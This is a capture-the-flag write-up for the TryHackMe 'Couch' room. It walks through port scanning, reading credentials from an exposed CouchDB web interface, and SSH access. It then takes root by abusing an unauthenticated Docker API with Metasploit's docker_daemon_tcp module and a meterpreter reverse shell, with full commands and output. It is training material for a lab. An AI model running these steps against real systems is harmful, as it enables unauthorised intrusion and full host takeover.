/ TRYHACKME, CTF, EASY

Couch Write Up

cover

Overview

couch is a easy rated CTF room on TryHackMe created by stuxnet.

Nmap

Although not required I added the machine IP to my host file so through out the write up I can use couch.thm for consistency. Once added I started a nmap scan to check for available ports.

└──╼ $sudo nmap -sC -sV -oA nmap/initial couch.thm
Starting Nmap 7.80 ( https://nmap.org ) at 2021-08-13 14:57 BST
Nmap scan report for couch.thm (10.10.59.151)
Host is up (0.034s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 34:9d:39:09:34:30:4b:3d:a7:1e:df:eb:a3:b0:e5:aa (RSA)
|   256 a4:2e:ef:3a:84:5d:21:1b:b9:d4:26:13:a5:2d:df:19 (ECDSA)
|_  256 e1:6d:4d:fd:c8:00:8e:86:c2:13:2d:c7:ad:85:13:9c (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.13 seconds

1 Port open:

  • 22 - SSH - OpenSSH 7.2p2

Unless its a bruce force challenge im not going to get far with just that so I also ran a full port scan and found 1 additional port:

└──╼ $sudo nmap -p- -oA nmap/allports couch.thm
Starting Nmap 7.80 ( https://nmap.org ) at 2021-08-13 14:58 BST
Nmap scan report for couch.thm (10.10.59.151)
Host is up (0.036s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
5984/tcp open  couchdb

Nmap done: 1 IP address (1 host up) scanned in 26.86 seconds

I did a final scan using the two ports and ran the -sC & -sV flags to run default scripts and enumerate version.

└──╼ $sudo nmap -p 22,5984 -sC -sV -oA nmap/targeted couch.thm
Starting Nmap 7.80 ( https://nmap.org ) at 2021-08-13 14:59 BST
Nmap scan report for couch.thm (10.10.59.151)
Host is up (0.031s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 34:9d:39:09:34:30:4b:3d:a7:1e:df:eb:a3:b0:e5:aa (RSA)
|   256 a4:2e:ef:3a:84:5d:21:1b:b9:d4:26:13:a5:2d:df:19 (ECDSA)
|_  256 e1:6d:4d:fd:c8:00:8e:86:c2:13:2d:c7:ad:85:13:9c (ED25519)
5984/tcp open  http    CouchDB httpd 1.6.1 (Erlang OTP/18)
|_http-server-header: CouchDB/1.6.1 (Erlang OTP/18)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.17 seconds

Enumeration

I had never heard of CouchDB so I opened up the web browser to ‘http://couch.thm:5984/’ and took a look.

Apache CouchDB is an open-source document-oriented NoSQL database, implemented in Erlang. CouchDB uses multiple formats and protocols to store, transfer, and process its data. It uses JSON to store data, JavaScript as its query language using MapReduce, and HTTP for an API.

index

Before trying to exploit the service I wanted to understand how it works so I used google to find the documentation. From reading the documentation I saw /utils/ provided a web interface.

adminpage

With in the ‘secret’ folder I found a username and password.

Initial Access

The user credentials provided SSH access to the machine and the user.txt flag.

└──╼ $ssh atena@couch.thm
atena@couch.thm's password: 
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-193-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
Last login: Fri Aug 13 07:12:25 2021 from <Machine IP>
atena@ubuntu:~$ 

Priv Esc

While enumerating the machine I found two additional ports listening on the server 2375 and 38811.

atena@ubuntu:~$ netstat -ano                                                                  
Active Internet connections (servers and established)                                         
Proto Recv-Q Send-Q Local Address           Foreign Address         State       Timer         
tcp        0      0 0.0.0.0:5984            0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 127.0.0.1:2375          0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 127.0.0.1:38811         0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0    324 10.10.59.151:22         <Machine IP>:54352       ESTABLISHED on (0.07/0/0) 
tcp6       0      0 :::22                   :::*                    LISTEN      off (0.00/0/0)
udp        0      0 0.0.0.0:68              0.0.0.0:*                           off (0.00/0/0)
udp        0      0 0.0.0.0:38711           0.0.0.0:*                           off (0.00/0/0)
Active UNIX domain sockets (servers and established)

Also when I checked running processes using ps aux, I found docker was running using one of the ports.

root       813  0.0  6.5 524372 66484 ?        Ssl  06:52   0:01 /usr/bin/dockerd -H=fd:// -H=tcp://127.0.0.1:2375

If you check the bash history, you can see the user has a ran a docker command to start a docker container. Using this technique you can start a container with the root file system mounted and grab any file you wish.

However, I wanted to do this one slightly differently. Imagine the user was unable to run docker commands, how else could we use the same technique? The below steps shows how to get the root flag by interacting directly with the service.

I wanted to be able to interact with the port easily so I used SSH local port forwarding. A great article explains how to do this.

└──╼ $ssh -L 2375:localhost:2375 atena@couch.thm                  
                                                                  
atena@couch.thm's password:                                       
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-193-generic x86_64)
                                                                  
 * Documentation:  https://help.ubuntu.com                        
 * Management:     https://landscape.canonical.com                
 * Support:        https://ubuntu.com/advantage                   
Last login: Fri Aug 13 07:12:49 2021 from <Machine IP>             
atena@ubuntu:~$                                                   

Now I can interact with the port by going to ‘localhost:2375’. A great resource for tips and techniques is HackTricks.

Remote API is running by default on 2375 port when enabled. The service by default will not require authentication allowing an attacker to start a privileged docker container. By using the Remote API one can attach hosts / (root directory) to the container and read/write files of the host’s environment.

If I had docker installed on my local machine I could use this to run docker commands on the remote service using the -H flag but I dont, we could also use CURL. However Metasploit is easier.

I fired up Metasploit and searched docker.

msf6 > search docker

Matching Modules
================

   #   Name                                                      Disclosure Date  Rank       Check  Description
   -   ----                                                      ---------------  ----       -----  -----------
   0   exploit/linux/http/dcos_marathon                          2017-03-03       excellent  Yes    DC/OS Marathon UI Docker Exploit
   1   exploit/linux/local/docker_runc_escape                    2019-01-01       manual     No     Docker Container Escape Via runC Overwrite
   2   exploit/linux/http/docker_daemon_tcp                      2017-07-25       excellent  Yes    Docker Daemon - Unprotected TCP Socket Exploit
   3   exploit/linux/local/docker_daemon_privilege_escalation    2016-06-28       excellent  Yes    Docker Daemon Privilege Escalation
   4   exploit/linux/local/docker_privileged_container_escape    2019-07-17       normal     Yes    Docker Privileged Container Escape
   5   auxiliary/scanner/http/docker_version                                      normal     No     Docker Server Version Scanner
   6   exploit/windows/local/docker_credential_wincred           2019-07-05       manual     Yes    Docker-Credential-Wincred.exe Privilege Escalation
   7   exploit/multi/http/gitea_git_hooks_rce                    2020-10-07       excellent  Yes    Gitea Git Hooks Remote Code Execution
   8   exploit/multi/http/gogs_git_hooks_rce                     2020-10-07       excellent  Yes    Gogs Git Hooks Remote Code Execution
   9   post/linux/gather/enum_containers                                          normal     No     Linux Container Enumeration
   10  post/linux/gather/checkcontainer                                           normal     No     Linux Gather Container Detection
   11  auxiliary/admin/mssql/mssql_idf                                            normal     No     Microsoft SQL Server Interesting Data Finder
   12  post/multi/gather/docker_creds                                             normal     No     Multi Gather Docker Credentials Collection
   13  exploit/linux/http/rancher_server                         2017-07-27       excellent  Yes    Rancher Server - Docker Exploit
   14  auxiliary/gather/saltstack_salt_root_key                  2020-04-30       normal     No     SaltStack Salt Master Server Root Key Disclosure
   15  exploit/linux/misc/saltstack_salt_unauth_rce              2020-04-30       great      Yes    SaltStack Salt Master/Minion Unauthenticated RCE
   16  exploit/linux/http/vmware_view_planner_4_6_uploadlog_rce  2021-03-02       excellent  Yes    VMware View Planner Unauthenticated Log File Upload RCE


Interact with a module by name or index. For example info 16, use 16 or use exploit/linux/http/vmware_view_planner_4_6_uploadlog_rce

msf6 > 

‘exploit/linux/http/docker_daemon_tcp’ looks perfect.

msf6 > use 2
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/docker_daemon_tcp) > set rhost localhost
rhost => localhost
msf6 exploit(linux/http/docker_daemon_tcp) > set lhost tun0
lhost => tun0
msf6 exploit(linux/http/docker_daemon_tcp) > show options

Module options (exploit/linux/http/docker_daemon_tcp):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   CONTAINER_ID                   no        container id you would like
   DOCKERIMAGE   alpine:latest    yes       hub.docker.com image to use
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS        localhost        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT         2375             yes       The target port (TCP)
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                          no        HTTP server virtual host


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  tun0             yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux x64


msf6 exploit(linux/http/docker_daemon_tcp) > 

Now I just run the exploit and get a shell.

msf6 exploit(linux/http/docker_daemon_tcp) > exploit
[*] Exploiting target {:address=>"0.0.0.1", :hostname=>"localhost"}

[*] Started reverse TCP handler on <Machine IP>:4444 
[-] Failed to connect to the target
[-] Exploit aborted due to failure: unknown: Failed to connect to the target
[*] Exploiting target {:address=>"127.0.0.1", :hostname=>"localhost"}
[*] Started reverse TCP handler on <Machine IP>:4444 
[*] The docker container is created, waiting for deploy
[*] Waiting for the cron job to run, can take up to 60 seconds
[*] Sending stage (3012548 bytes) to 10.10.59.151
[+] Deleted /etc/cron.d/GOKzWbNu
[+] Deleted /tmp/nCJrYRbW
[*] Meterpreter session 1 opened (<Machine IP>:4444 -> 10.10.59.151:41406) at 2021-08-13 16:39:05 +0100
[*] Session 1 created in the background.
msf6 exploit(linux/http/docker_daemon_tcp) > sessions 1
[*] Starting interaction with 1...

meterpreter > shell
Process 18578 created.
Channel 1 created.
whoami
root
ls -lah /root/root.txt
-rw-r--r-- 1 root root 26 Dec 18  2020 /root/root.txt

Thanks for reading!